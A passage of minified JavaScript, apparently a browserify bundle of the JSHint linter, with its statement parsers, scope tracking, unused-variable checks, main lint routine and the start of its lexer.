e,t,n,r,i,s=!1,o,u={};e=f.tokens.curr.line!==rt(f.tokens.next),e&&(b+=f.option.indent,f.tokens.next.from===b+f.option.indent&&(b+=f.option.indent));for(;;){if(f.tokens.next.id===\"}\")break;o=f.tokens.next.value;if(!f.tokens.next.identifier||G().id!==\",\"&&G().id!==\"}\")if(Q().id===\":\"||o!==\"get\"&&o!==\"set\"){f.tokens.next.value===\"*\"&&f.tokens.next.type===\"(punctuator)\"?(f.inESNext()||z(\"W104\",f.tokens.next,\"generator functions\"),Y(\"*\"),s=!0):s=!1;if(f.tokens.next.id===\"[\")n=vn(),f.nameStack.set(n);else{f.nameStack.set(f.tokens.next),n=Xt(),pn(u,n,f.tokens.next);if(typeof n!=\"string\")break}f.tokens.next.value===\"(\"?(f.inESNext()||z(\"W104\",f.tokens.curr,\"concise methods\"),Gt({type:s?\"generator\":null})):(Y(\":\"),nt(10))}else Y(o),f.inES5()||X(\"E034\"),n=Xt(),!n&&!f.inESNext()&&X(\"E035\"),n&&dn(o,u,n,f.tokens.curr),i=f.tokens.next,t=Gt(),r=t[\"(params)\"],o===\"get\"&&n&&r?z(\"W076\",i,r[0],n):o===\"set\"&&n&&(!r||r.length!==1)&&z(\"W077\",i,n);else f.inESNext()||z(\"W104\",f.tokens.next,\"object short notation\"),n=Xt(!0),pn(u,n,f.tokens.next),nt(10);Ft(n);if(f.tokens.next.id!==\",\")break;ut({allowTrailing:!0,property:!0}),f.tokens.next.id===\",\"?z(\"W070\",f.tokens.curr):f.tokens.next.id===\"}\"&&!f.inES5(!0)&&z(\"W070\",f.tokens.curr)}return e&&(b-=f.option.indent),Y(\"}\",this),tn(u),this},e.fud=function(){X(\"E036\",f.tokens.curr)}}(ft(\"{\"));var on=lt(\"const\",function(e){return sn(\"const\",this,e)});on.exps=!0;var un=lt(\"let\",function(e){return sn(\"let\",this,e)});un.exps=!0;var an=lt(\"var\",function(e){var t=e&&e.prefix,n=e&&e.inexport,i,o,u,a=e&&e.implied,l=!e||!e.ignore;this.first=[];for(;;){var c=[];r.contains([\"{\",\"[\"],f.tokens.next.value)?(i=nn(),o=!1):(i=[{id:Mt(),token:f.tokens.curr}],o=!0,n&&(p[f.tokens.curr.value]=!0,f.tokens.curr.exported=!0));for(var h in i)if(i.hasOwnProperty(h)){h=i[h],f.inESNext()&&f.funct[\"(blockscope)\"].labeltype(h.id)===\"const\"&&z(\"E011\",null,h.id),!a&&f.funct[\"(global)\"]&&(T[h.id]===!1?z(\"W079\",h.token,h.id):f.option.futurehostile===!1&&(!f.inES5()&&s.ecmaIdentifiers[5][h.id]===!1||!f.inESNext()&&s.ecmaIdentifiers[6][h.id]===!1)&&z(\"W129\",h.token,h.id));if(h.id){if(a===\"for\"){var d=h.token.value;switch(f.funct[d]){case\"unused\":f.funct[d]=\"var\";break;case\"var\":break;default:!f.funct[\"(blockscope)\"].getlabel(d)&&!(N[d]||{})[d]&&l&&z(\"W088\",h.token,d)}}else J(h.id,{type:\"unused\",token:h.token});c.push(h.token)}}!t&&l&&f.option.varstmt&&z(\"W132\",this),this.first=this.first.concat(c),f.tokens.next.id===\"=\"&&(f.nameStack.set(f.tokens.curr),Y(\"=\"),!t&&l&&f.tokens.next.id===\"undefined\"&&z(\"W080\",f.tokens.prev,f.tokens.prev.value),Q(0).id===\"=\"&&f.tokens.next.identifier&&(!t&&l&&!f.funct[\"(params)\"]||f.funct[\"(params)\"].indexOf(f.tokens.next.value)===-1)&&z(\"W120\",f.tokens.next,f.tokens.next.value),u=nt(t?120:10),o?i[0].first=u:rn(c,u));if(f.tokens.next.id!==\",\")break;ut()}return this});an.exps=!0,ct(\"class\",function(){return fn.call(this,!0)}),ct(\"function\",function(){var e=!1;f.tokens.next.value===\"*\"&&(Y(\"*\"),f.inESNext({strict:!0})?e=!0:z(\"W119\",f.tokens.curr,\"function*\")),y&&z(\"W082\",f.tokens.curr);var t=Ot();return t===undefined&&z(\"W025\"),f.funct[\"(blockscope)\"].labeltype(t)===\"const\"&&z(\"E011\",null,t),J(t,{type:\"unction\",token:f.tokens.curr}),Gt({name:t,statement:this,type:e?\"generator\":null}),f.tokens.next.id===\"(\"&&f.tokens.next.line===f.tokens.curr.line&&X(\"E039\"),this}),pt(\"function\",function(){function i(e){return e[0]!==\"(\"}function s(e){return n[e]===\"var\"}var e=!1;f.tokens.next.value===\"*\"&&(f.inESNext()||z(\"W119\",f.tokens.curr,\"function*\"),Y(\"*\"),e=!0);var t=Ot(),n=Gt({name:t,type:e?\"generator\":null});return!f.option.loopfunc&&f.funct[\"(loopage)\"]&&r.some(n,function(e,t){return i(t)&&!s(t)})&&z(\"W083\"),this}),ct(\"if\",function(){var e=f.tokens.next;Zt(),f.condition=!0,Y(\"(\");var t=nt(0);en(t);var n=null;f.option.forin&&f.forinifcheckneeded&&(f.forinifcheckneeded=!1,n=f.forinifchecks[f.forinifchecks.length-1],t.type===\"(punctuator)\"&&t.value===\"!\"?n.type=\"(negative)\":n.type=\"(positive)\"),Y(\")\",e),f.condition=!1;var r=jt(!0,!0);return n&&n.type===\"(negative)\"&&r&&r.length===1&&r[0].type===\"(identifier)\"&&r[0].value===\"continue\"&&(n.type=\"(negative-with-continue)\"),f.tokens.next.id===\"else\"&&(Y(\"else\"),f.tokens.next.id===\"if\"||f.tokens.next.id===\"switch\"?Pt():jt(!0,!0)),this}),ct(\"try\",function(){function t(){var e=N,t;Y(\"catch\"),Y(\"(\"),N=Object.create(e),t=f.tokens.next.value,f.tokens.next.type!==\"(identifier)\"&&(t=null,z(\"E030\",f.tokens.next,t)),Y(),f.funct=$t(\"(catch)\",f.tokens.next,N,{\"(context)\":f.funct,\"(breakage)\":f.funct[\"(breakage)\"],\"(loopage)\":f.funct[\"(loopage)\"],\"(statement)\":!1,\"(catch)\":!0}),t&&J(t,{type:\"exception\"}),f.tokens.next.value===\"if\"&&(f.inMoz()||z(\"W118\",f.tokens.curr,\"catch filter\"),Y(\"if\"),nt(0)),Y(\")\"),f.tokens.curr.funct=f.funct,v.push(f.funct),jt(!1),N=e,f.funct[\"(last)\"]=f.tokens.curr.line,f.funct[\"(lastcharacter)\"]=f.tokens.curr.character,f.funct=f.funct[\"(context)\"]}var e;jt(!0);while(f.tokens.next.id===\"catch\")Zt(),e&&!f.inMoz()&&z(\"W118\",f.tokens.next,\"multiple catch blocks\"),t(),e=!0;if(f.tokens.next.id===\"finally\"){Y(\"finally\"),jt(!0);return}return e||X(\"E021\",f.tokens.next,\"catch\",f.tokens.next.value),this}),ct(\"while\",function(){var e=f.tokens.next;return f.funct[\"(breakage)\"]+=1,f.funct[\"(loopage)\"]+=1,Zt(),Y(\"(\"),en(nt(0)),Y(\")\",e),jt(!0,!0),f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1,this}).labelled=!0,ct(\"with\",function(){var e=f.tokens.next;return f.isStrict()?X(\"E010\",f.tokens.curr):f.option.withstmt||z(\"W085\",f.tokens.curr),Y(\"(\"),nt(0),Y(\")\",e),jt(!0,!0),this}),ct(\"switch\",function(){var e=f.tokens.next,t=!1,n=!1;f.funct[\"(breakage)\"]+=1,Y(\"(\"),en(nt(0)),Y(\")\",e),e=f.tokens.next,Y(\"{\"),f.tokens.next.from===b&&(n=!0),n||(b+=f.option.indent),this.cases=[];for(;;)switch(f.tokens.next.id){case\"case\":switch(f.funct[\"(verb)\"]){case\"yield\":case\"break\":case\"case\":case\"continue\":case\"return\":case\"switch\":case\"throw\":break;default:a.fallsThrough.test(f.lines[f.tokens.next.line-2])||z(\"W086\",f.tokens.curr,\"case\")}Y(\"case\"),this.cases.push(nt(0)),Zt(),t=!0,Y(\":\"),f.funct[\"(verb)\"]=\"case\";break;case\"default\":switch(f.funct[\"(verb)\"]){case\"yield\":case\"break\":case\"continue\":case\"return\":case\"throw\":break;default:this.cases.length&&(a.fallsThrough.test(f.lines[f.tokens.next.line-2])||z(\"W086\",f.tokens.curr,\"default\"))}Y(\"default\"),t=!0,Y(\":\");break;case\"}\":n||(b-=f.option.indent),Y(\"}\",e),f.funct[\"(breakage)\"]-=1,f.funct[\"(verb)\"]=undefined;return;case\"(end)\":X(\"E023\",f.tokens.next,\"}\");return;default:b+=f.option.indent;if(t)switch(f.tokens.curr.id){case\",\":X(\"E040\");return;case\":\":t=!1,Ht();break;default:X(\"E025\",f.tokens.curr);return}else{if(f.tokens.curr.id!==\":\"){X(\"E021\",f.tokens.next,\"case\",f.tokens.next.value);return}Y(\":\"),X(\"E024\",f.tokens.curr,\":\"),Ht()}b-=f.option.indent}}).labelled=!0,lt(\"debugger\",function(){return f.option.debug||z(\"W087\",this),this}).exps=!0,function(){var e=lt(\"do\",function(){f.funct[\"(breakage)\"]+=1,f.funct[\"(loopage)\"]+=1,Zt(),this.first=jt(!0,!0),Y(\"while\");var e=f.tokens.next;return Y(\"(\"),en(nt(0)),Y(\")\",e),f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1,this});e.labelled=!0,e.exps=!0}(),ct(\"for\",function(){var e,t=f.tokens.next,n=!1,i=null;t.value===\"each\"&&(i=t,Y(\"each\"),f.inMoz()||z(\"W118\",f.tokens.curr,\"for each\")),f.funct[\"(breakage)\"]+=1,f.funct[\"(loopage)\"]+=1,Zt(),Y(\"(\");var s,o=0,u=[\"in\",\"of\"],a=0,l,c;mn(f.tokens.next,[\"{\",\"[\"])&&++a;do{s=Q(o),++o,mn(s,[\"{\",\"[\"])?++a:mn(s,[\"}\",\"]\"])&&--a;if(a<0)break;a===0&&(!l&&mn(s,[\",\"])?l=s:!c&&mn(s,[\"=\"])&&(c=s))}while(a>0||!r.contains(u,s.value)&&s.value!==\";\"&&s.type!==\"(end)\");if(r.contains(u,s.value)){!f.inESNext()&&s.value===\"of\"&&X(\"W104\",s,\"for of\");var h=!c&&!l;c&&X(\"W133\",l,s.value,\"initializer is forbidden\"),l&&X(\"W133\",l,s.value,\"more than one ForBinding\"),f.tokens.next.id===\"var\"?(Y(\"var\"),f.tokens.curr.fud({prefix:!0})):f.tokens.next.id===\"let\"||f.tokens.next.id===\"const\"?(Y(f.tokens.next.id),n=!0,f.funct[\"(blockscope)\"].stack(),f.tokens.curr.fud({prefix:!0})):Object.create(an).fud({prefix:!0,implied:\"for\",ignore:!h}),Y(s.value),nt(20),Y(\")\",t),s.value===\"in\"&&f.option.forin&&(f.forinifcheckneeded=!0,f.forinifchecks===undefined&&(f.forinifchecks=[]),f.forinifchecks.push({type:\"(none)\"})),e=jt(!0,!0);if(s.value===\"in\"&&f.option.forin){if(f.forinifchecks&&f.forinifchecks.length>0){var p=f.forinifchecks.pop();(e&&e.length>0&&(typeof e[0]!=\"object\"||e[0].value!==\"if\")||p.type===\"(positive)\"&&e.length>1||p.type===\"(negative)\")&&z(\"W089\",this)}f.forinifcheckneeded=!1}f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1}else{i&&X(\"E045\",i);if(f.tokens.next.id!==\";\")if(f.tokens.next.id===\"var\")Y(\"var\"),f.tokens.curr.fud();else if(f.tokens.next.id===\"let\")Y(\"let\"),n=!0,f.funct[\"(blockscope)\"].stack(),f.tokens.curr.fud();else for(;;){nt(0,\"for\");if(f.tokens.next.id!==\",\")break;l()}st(f.tokens.curr),Y(\";\"),f.tokens.next.id!==\";\"&&en(nt(0)),st(f.tokens.curr),Y(\";\"),f.tokens.next.id===\";\"&&X(\"E021\",f.tokens.next,\")\",\";\");if(f.tokens.next.id!==\")\")for(;;){nt(0,\"for\");if(f.tokens.next.id!==\",\")break;l()}Y(\")\",t),jt(!0,!0),f.funct[\"(breakage)\"]-=1,f.funct[\"(loopage)\"]-=1}return n&&f.funct[\"(blockscope)\"].unstack(),this}).labelled=!0,lt(\"break\",function(){var e=f.tokens.next.value;return f.funct[\"(breakage)\"]===0&&z(\"W052\",f.tokens.next,this.value),f.option.asi||st(this),f.tokens.next.id!==\";\"&&!f.tokens.next.reach&&f.tokens.curr.line===rt(f.tokens.next)&&(f.funct[e]!==\"label\"?z(\"W090\",f.tokens.next,e):N[e]!==f.funct&&z(\"W091\",f.tokens.next,e),this.first=f.tokens.next,Y()),_t(this),this}).exps=!0,lt(\"continue\",function(){var e=f.tokens.next.value;return f.funct[\"(breakage)\"]===0&&z(\"W052\",f.tokens.next,this.value),f.option.asi||st(this),f.tokens.next.id!==\";\"&&!f.tokens.next.reach?f.tokens.curr.line===rt(f.tokens.next)&&(f.funct[e]!==\"label\"?z(\"W090\",f.tokens.next,e):N[e]!==f.funct&&z(\"W091\",f.tokens.next,e),this.first=f.tokens.next,Y()):f.funct[\"(loopage)\"]||z(\"W052\",f.tokens.next,this.value),_t(this),this}).exps=!0,lt(\"return\",function(){return this.line===rt(f.tokens.next)?f.tokens.next.id!==\";\"&&!f.tokens.next.reach&&(this.first=nt(0),this.first&&this.first.type===\"(punctuator)\"&&this.first.value===\"=\"&&!this.first.paren&&!f.option.boss&&W(\"W093\",this.first.line,this.first.character)):f.tokens.next.type===\"(punctuator)\"&&[\"[\",\"{\",\"+\",\"-\"].indexOf(f.tokens.next.value)>-1&&st(this),_t(this),this}).exps=!0,function(e){e.exps=!0,e.lbp=25}(pt(\"yield\",function(){var e=f.tokens.prev;f.inESNext(!0)&&!f.funct[\"(generator)\"]?(\"(catch)\"!==f.funct[\"(name)\"]||!f.funct[\"(context)\"][\"(generator)\"])&&X(\"E046\",f.tokens.curr,\"yield\"):f.inESNext()||z(\"W104\",f.tokens.curr,\"yield\"),f.funct[\"(generator)\"]=\"yielded\";var t=!1;f.tokens.next.value===\"*\"&&(t=!0,Y(\"*\"));if(this.line===rt(f.tokens.next)||!f.inMoz()){if(t||f.tokens.next.id!==\";\"&&!f.tokens.next.reach&&f.tokens.next.nud)it(f.tokens.curr,f.tokens.next),this.first=nt(10),this.first.type===\"(punctuator)\"&&this.first.value===\"=\"&&!this.first.paren&&!f.option.boss&&W(\"W093\",this.first.line,this.first.character);f.inMoz()&&f.tokens.next.id!==\")\"&&(e.lbp>30||!e.assign&&!et()||e.id===\"yield\")&&X(\"E050\",this)}else f.option.asi||st(this);return this})),lt(\"throw\",function(){return st(this),this.first=nt(20),_t(this),this}).exps=!0,lt(\"import\",function(){f.inESNext()||z(\"W119\",f.tokens.curr,\"import\");if(f.tokens.next.type===\"(string)\")return Y(\"(string)\"),this;if(f.tokens.next.identifier){this.name=Mt(),J(this.name,{type:\"unused\",token:f.tokens.curr});if(f.tokens.next.value!==\",\")return Y(\"from\"),Y(\"(string)\"),this;Y(\",\")}if(f.tokens.next.id===\"*\")Y(\"*\"),Y(\"as\"),f.tokens.next.identifier&&(this.name=Mt(),J(this.name,{type:\"unused\",token:f.tokens.curr}));else{Y(\"{\");for(;;){if(f.tokens.next.value===\"}\"){Y(\"}\");break}var e;f.tokens.next.type===\"default\"?(e=\"default\",Y(\"default\")):e=Mt(),f.tokens.next.value===\"as\"&&(Y(\"as\"),e=Mt()),J(e,{type:\"unused\",token:f.tokens.curr});if(f.tokens.next.value!==\",\"){if(f.tokens.next.value===\"}\"){Y(\"}\");break}X(\"E024\",f.tokens.next,f.tokens.next.value);break}Y(\",\")}}return Y(\"from\"),Y(\"(string)\"),this}).exps=!0,lt(\"export\",function(){var e=!0,t,n;f.inESNext()||(z(\"W119\",f.tokens.curr,\"export\"),e=!1);if(!f.funct[\"(global)\"]||!f.funct[\"(blockscope)\"].atTop())X(\"E053\",f.tokens.curr),e=!1;if(f.tokens.next.value===\"*\")return Y(\"*\"),Y(\"from\"),Y(\"(string)\"),this;if(f.tokens.next.type===\"default\"){f.nameStack.set(f.tokens.next),Y(\"default\");if(f.tokens.next.id===\"function\"||f.tokens.next.id===\"class\")this.block=!0;return t=Q(),nt(10),f.tokens.next.id===\"class\"?n=t.name:n=t.value,J(n,{type:\"function\",token:t}),this}if(f.tokens.next.value===\"{\"){Y(\"{\");var r=[];for(;;){f.tokens.next.identifier||X(\"E030\",f.tokens.next,f.tokens.next.value),Y(),f.tokens.curr.exported=e,r.push(f.tokens.curr),f.tokens.next.value===\"as\"&&(Y(\"as\"),f.tokens.next.identifier||X(\"E030\",f.tokens.next,f.tokens.next.value),Y());if(f.tokens.next.value!==\",\"){if(f.tokens.next.value===\"}\"){Y(\"}\");break}X(\"E024\",f.tokens.next,f.tokens.next.value);break}Y(\",\")}return f.tokens.next.value===\"from\"?(Y(\"from\"),Y(\"(string)\")):e&&r.forEach(function(e){f.funct[e.value]||R(f.funct,\"W117\",e,e.value),p[e.value]=!0,f.funct[\"(blockscope)\"].setExported(e.value)}),this}return f.tokens.next.id===\"var\"?(Y(\"var\"),f.tokens.curr.fud({inexport:!0})):f.tokens.next.id===\"let\"?(Y(\"let\"),f.tokens.curr.fud({inexport:!0})):f.tokens.next.id===\"const\"?(Y(\"const\"),f.tokens.curr.fud({inexport:!0})):f.tokens.next.id===\"function\"?(this.block=!0,Y(\"function\"),p[f.tokens.next.value]=e,f.tokens.next.exported=!0,f.syntax[\"function\"].fud()):f.tokens.next.id===\"class\"?(this.block=!0,Y(\"class\"),p[f.tokens.next.value]=e,f.tokens.next.exported=!0,f.syntax[\"class\"].fud()):X(\"E024\",f.tokens.next,f.tokens.next.value),this}).exps=!0,mt(\"abstract\"),mt(\"boolean\"),mt(\"byte\"),mt(\"char\"),mt(\"class\",{es5:!0,nud:fn}),mt(\"double\"),mt(\"enum\",{es5:!0}),mt(\"export\",{es5:!0}),mt(\"extends\",{es5:!0}),mt(\"final\"),mt(\"float\"),mt(\"goto\"),mt(\"implements\",{es5:!0,strictOnly:!0}),mt(\"import\",{es5:!0}),mt(\"int\"),mt(\"interface\",{es5:!0,strictOnly:!0}),mt(\"long\"),mt(\"native\"),mt(\"package\",{es5:!0,strictOnly:!0}),mt(\"private\",{es5:!0,strictOnly:!0}),mt(\"protected\",{es5:!0,strictOnly:!0}),mt(\"public\",{es5:!0,strictOnly:!0}),mt(\"short\"),mt(\"static\",{es5:!0,strictOnly:!0}),mt(\"super\",{es5:!0}),mt(\"synchronized\"),mt(\"transient\"),mt(\"volatile\");var hn=function(){var e,t,n=-1,r=0,i={};mn(f.tokens.curr,[\"[\",\"{\"])&&(r+=1);do{e=n===-1?f.tokens.next:Q(n),t=Q(n+1),n+=1,mn(e,[\"[\",\"{\"])?r+=1:mn(e,[\"]\",\"}\"])&&(r-=1);if(e.identifier&&e.value===\"for\"&&r===1){i.isCompArray=!0,i.notJson=!0;break}if(mn(e,[\"}\",\"]\"])&&r===0){if(t.value===\"=\"){i.isDestAssign=!0,i.notJson=!0;break}if(t.value===\".\"){i.notJson=!0;break}}e.value===\";\"&&(i.isBlock=!0,i.notJson=!0)}while(r>0&&e.id!==\"(end)\");return i},yn=function(){function i(e){var t=n.variables.filter(function(t){if(t.value===e)return t.undef=!1,e}).length;return t!==0}function s(e){var t=n.variables.filter(function(t){if(t.value===e&&!t.undef)return t.unused===!0&&(t.unused=!1),e}).length;return t===0}var e=function(){this.mode=\"use\",this.variables=[]},t=[],n;return{stack:function(){n=new e,t.push(n)},unstack:function(){n.variables.filter(function(e){e.unused&&z(\"W098\",e.token,e.raw_text||e.value),e.undef&&R(e.state.funct,\"W117\",e.token,e.value)}),t.splice(-1,1),n=t[t.length-1]},setState:function(e){r.contains([\"use\",\"define\",\"generate\",\"filter\"],e)&&(n.mode=e)},check:function(e){if(!n)return;return n&&n.mode===\"use\"?(s(e)&&n.variables.push({funct:f.funct,token:f.tokens.curr,value:e,undef:!0,unused:!1}),!0):n&&n.mode===\"define\"?(i(e)||n.variables.push({funct:f.funct,token:f.tokens.curr,value:e,undef:!1,unused:!0}),!0):n&&n.mode===\"generate\"?(R(f.funct,\"W117\",f.tokens.curr,e),!0):n&&n.mode===\"filter\"?(s(e)&&R(f.funct,\"W117\",f.tokens.curr,e),!0):!1}}},wn=function(e,t,n,r){var i=t.line,s=t.from,o=t.raw_text||e;r===undefined&&(r=f.option.unused),r===!0&&(r=\"last-param\");var u={vars:[\"var\"],\"last-param\":[\"var\",\"param\"],strict:[\"var\",\"param\",\"last-param\"]};r&&u[r]&&u[r].indexOf(n)!==-1&&(t.exported||W(\"W098\",i,s,o)),k.push({name:e,line:i,character:s})},En=function(){function n(){for(var t in e){var n=e[t],r=n[\"(type)\"];if(r===\"unused\"||r===\"const\"&&n[\"(unused)\"])if(f.option.unused){var i=e[t][\"(token)\"];if(i.exported)continue;wn(t,i,\"var\")}}}function i(e){for(var n=t.length-1;n>=0;--n)if(r.has(t[n],e)&&!t[n][e][\"(shadowed)\"])return t[n]}var e={},t=[e];return{stack:function(){e={},t.push(e)},unstack:function(){n(),t.splice(t.length-1,1),e=r.last(t)},getlabel:i,labeltype:function(e){var t=i(e);return t?t[e][\"(type)\"]:null},shadow:function(e){for(var n=t.length-1;n>=0;n--)r.has(t[n],e)&&(t[n][e][\"(shadowed)\"]=!0)},unshadow:function(e){for(var n=t.length-1;n>=0;n--)r.has(t[n],e)&&(t[n][e][\"(shadowed)\"]=!1)},atTop:function(){return t.length===1},setExported:function(t){if(f.funct[\"(blockscope)\"].atTop()){var n=e[t];n&&n[\"(token)\"]&&(n[\"(token)\"].exported=!0)}},current:{labeltype:function(t){return e[t]?e[t][\"(type)\"]:null},has:function(t){return r.has(e,t)},add:function(t,n,r){e[t]={\"(type)\":n,\"(token)\":r,\"(shadowed)\":!1,\"(unused)\":!0}}}}},Sn=function(e){return e.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g,\"\\\\$&\")},xn=function(t,i,o){function R(e,t){if(!e)return;!Array.isArray(e)&&typeof e==\"object\"&&(e=Object.keys(e)),e.forEach(t)}var a,l,c,d,P,H,B={},F={};i=r.clone(i),f.reset(),i&&i.scope?h.scope=i.scope:(h.errors=[],h.undefs=[],h.internals=[],h.blacklist={},h.scope=\"(main)\"),T=Object.create(null),j(T,s.ecmaIdentifiers[3]),j(T,s.reservedVars),j(T,o||{}),n=Object.create(null),p=Object.create(null);if(i){R(i.predef||null,function(e){var t,n;e[0]===\"-\"?(t=e.slice(1),h.blacklist[t]=t,delete T[t]):(n=Object.getOwnPropertyDescriptor(i.predef,e),T[e]=n?n.value:!1)}),R(i.exported||null,function(e){p[e]=!0}),delete i.predef,delete i.exported,H=Object.keys(i);for(c=0;c<H.length;c++)if(/^-W\\d{3}$/g.test(H[c]))F[H[c].slice(1)]=!0;else{var U=H[c];B[U]=i[U],U===\"es5\"&&i[U]&&z(\"I003\"),H[c]===\"newcap\"&&i[U]===!1&&(B[\"(explicitNewcap)\"]=!0)}}f.option=B,f.ignored=F,f.option.indent=f.option.indent||4,f.option.maxerr=f.option.maxerr||50,b=1,m=Object.create(T),N=m,f.funct=$t(\"(global)\",null,N,{\"(global)\":!0,\"(blockscope)\":En(),\"(comparray)\":yn(),\"(metrics)\":Yt(f.tokens.next)}),v=[f.funct],L=[],C=null,S={},x=null,g={},y=!1,w=[],k=[];if(!D(t)&&!Array.isArray(t))return V(\"E004\",0),!1;e={get isJSON(){return f.jsonMode},getOption:function(e){return f.option[e]||null},getCache:function(e){return f.cache[e]},setCache:function(e,t){f.cache[e]=t},warn:function(e,t){W.apply(null,[e,t.line,t.char].concat(t.data))},on:function(e,t){e.split(\" \").forEach(function(e){O.on(e,t)}.bind(this))}},O.removeAllListeners(),(A||[]).forEach(function(t){t(e)}),f.tokens.prev=f.tokens.curr=f.tokens.next=f.syntax[\"(begin)\"],i&&i.ignoreDelimiters&&(Array.isArray(i.ignoreDelimiters)||(i.ignoreDelimiters=[i.ignoreDelimiters]),i.ignoreDelimiters.forEach(function(e){if(!e.start||!e.end)return;d=Sn(e.start)+\"[\\\\s\\\\S]*?\"+Sn(e.end),P=new RegExp(d,\"ig\"),t=t.replace(P,function(e){return e.replace(/./g,\" \")})})),E=new u(t),E.on(\"warning\",function(e){W.apply(null,[e.code,e.line,e.character].concat(e.data))}),E.on(\"error\",function(e){V.apply(null,[e.code,e.line,e.character].concat(e.data))}),E.on(\"fatal\",function(e){q(\"E041\",e.line,e.from)}),E.on(\"Identifier\",function(e){O.emit(\"Identifier\",e)}),E.on(\"String\",function(e){O.emit(\"String\",e)}),E.on(\"Number\",function(e){O.emit(\"Number\",e)}),E.start();for(var X in i)r.has(i,X)&&M(X,f.tokens.curr);I(),j(T,o||{}),ut.first=!0;try{Y();switch(f.tokens.next.id){case\"{\":case\"[\":gn();break;default:Bt(),f.isStrict()&&(f.option.globalstrict||f.option.module||f.option.node||f.option.phantom||f.option.browserify||z(\"W097\",f.tokens.prev)),Ht()}f.tokens.next.id!==\"(end)\"&&q(\"E041\",f.tokens.curr.line),f.funct[\"(blockscope)\"].unstack();var $=function(e,t){do{if(typeof t[e]==\"string\")return t[e]===\"unused\"?t[e]=\"var\":t[e]===\"unction\"&&(t[e]=\"closure\"),!0;t=t[\"(context)\"]}while(t);return!1},J=function(e,t){if(!g[e])return;var n=[];for(var r=0;r<g[e].length;r+=1)g[e][r]!==t&&n.push(g[e][r]);n.length===0?delete g[e]:g[e]=n},K=function(e,t){var n=e[t],i=e[\"(tokens)\"][t];if(t.charAt(0)===\"(\")return;if(n!==\"unused\"&&n!==\"unction\")return;if(e[\"(params)\"]&&e[\"(params)\"].indexOf(t)!==-1)return;if(e[\"(global)\"]&&r.has(p,t))return;wn(t,i,\"var\")};for(a=0;a<h.undefs.length;a+=1)l=h.undefs[a].slice(0),$(l[2].value,l[0])||l[2].forgiveUndef?J(l[2].value,l[2].line):f.option.undef&&z.apply(z,l.slice(1));v.forEach(function(e){if(e[\"(unusedOption)\"]===!1)return;for(var t in e)r.has(e,t)&&K(e,t);if(!e[\"(params)\"])return;var n=e[\"(params)\"].slice(),i=n.pop(),s,o;while(i){s=e[i],o=e[\"(unusedOption)\"]||f.option.unused,o=o===!0?\"last-param\":o;if(i===\"undefined\")return;if(s===\"unused\"||s===\"unction\")wn(i,e[\"(tokens)\"][i],\"param\",e[\"(unusedOption)\"]);else if(o===\"last-param\")return;i=n.pop()}});for(var Q in n)r.has(n,Q)&&!r.has(m,Q)&&!r.has(p,Q)&&wn(Q,n[Q],\"var\")}catch(G){if(!G||G.name!==\"JSHintError\")throw G;var Z=f.tokens.next||{};h.errors.push({scope:\"(main)\",raw:G.raw,code:G.code,reason:G.message,line:G.line||Z.line,character:G.character||Z.from},null)}if(h.scope===\"(main)\"){i=i||{};for(a=0;a<h.internals.length;a+=1)l=h.internals[a],i.scope=l.elem,xn(l.value,i,o)}return h.errors.length===0};return xn.addModule=function(e){A.push(e)},xn.addModule(l.register),xn.data=function(){var e={functions:[],options:f.option},t=[],n=[],i,s,o,u,a,l;xn.errors.length&&(e.errors=xn.errors),f.jsonMode&&(e.json=!0);for(a in g)r.has(g,a)&&t.push({name:a,line:g[a]});t.length>0&&(e.implieds=t),L.length>0&&(e.urls=L),l=Object.keys(N),l.length>0&&(e.globals=l);for(o=1;o<v.length;o+=1){s=v[o],i={};for(u=0;u<d.length;u+=1)i[d[u]]=[];for(u=0;u<d.length;u+=1)i[d[u]].length===0&&delete i[d[u]];i.name=s[\"(name)\"],i.param=s[\"(params)\"],i.line=s[\"(line)\"],i.character=s[\"(character)\"],i.last=s[\"(last)\"],i.lastcharacter=s[\"(lastcharacter)\"],i.metrics={complexity:s[\"(metrics)\"].ComplexityCount,parameters:(s[\"(params)\"]||[]).length,statements:s[\"(metrics)\"].statementCount},e.functions.push(i)}k.length>0&&(e.unused=k),n=[];for(a in S)if(typeof S[a]==\"number\"){e.member=S;break}return e},xn.jshint=xn,xn}();typeof n==\"object\"&&n&&(n.JSHINT=h)},{\"./lex.js\":\"/node_modules/jshint/src/lex.js\",\"./messages.js\":\"/node_modules/jshint/src/messages.js\",\"./options.js\":\"/node_modules/jshint/src/options.js\",\"./reg.js\":\"/node_modules/jshint/src/reg.js\",\"./state.js\":\"/node_modules/jshint/src/state.js\",\"./style.js\":\"/node_modules/jshint/src/style.js\",\"./vars.js\":\"/node_modules/jshint/src/vars.js\",events:\"/node_modules/browserify/node_modules/events/events.js\",underscore:\"/node_modules/jshint/node_modules/underscore/underscore.js\"}],\"/node_modules/jshint/src/lex.js\":[function(e,t,n){\"use strict\";function h(){var e=[];return{push:function(t){e.push(t)},check:function(){for(var t=0;t<e.length;++t)e[t]();e.splice(0,e.length)}}}function p(e){var t=e;typeof t==\"string\"&&(t=t.replace(/\\r\\n/g,\"\\n\").replace(/\\r/g,\"\\n\").split(\"\\n\")),t[0]&&t[0].substr(0,2)===\"#!\"&&(t[0].indexOf(\"node\")!==-1&&(o.option.node=!0),t[0]=\"\"),this.emitter=new i.EventEmitter,this.source=e,this.setLines(t),this.prereg=!0,this.line=0,this.char=1,this.from=1,this.input=\"\",this.inComment=!1,this.context=[],this.templateStarts=[];for(var n=0;n<o.option.indent;n+=1)o.tab+=\" \"}var r=e(\"underscore\"),i=e(\"events\"),s=e(\"./reg.js\"),o=e(\"./state.js\").state,u=e(\"../data/ascii-identifier-data.js\"),a=u.asciiIdentifierStartTable,f=u.asciiIdentifierPartTable,l={Identifier:1,Punctuator:2,NumericLiteral:3,StringLiteral:4,Comment:5,Keyword:6,NullLiteral:7,BooleanLiteral:8,RegExp:9,TemplateHead:10,TemplateMiddle:11,TemplateTail:12,NoSubstTemplate:13},c={Block:1,Template:2};p.prototype={_lines:[],inContext:function(e){return this.context.length>0&&this.context[this.context.length-1].type===e},pushContext:function(e){this.context.push({type:e})},popContext:function(){return this.context.pop()},isContext:function(e){return this.context.length>0&&this.context[this.context.length-1]===e},currentContext:function(){return this.context.length>0&&this.context[this.context.length-1]},getLines:function(){return this._lines=o.lines,this._lines},setLines:function(e){this._lines=e,o.lines=this._lines},peek:function(e){return 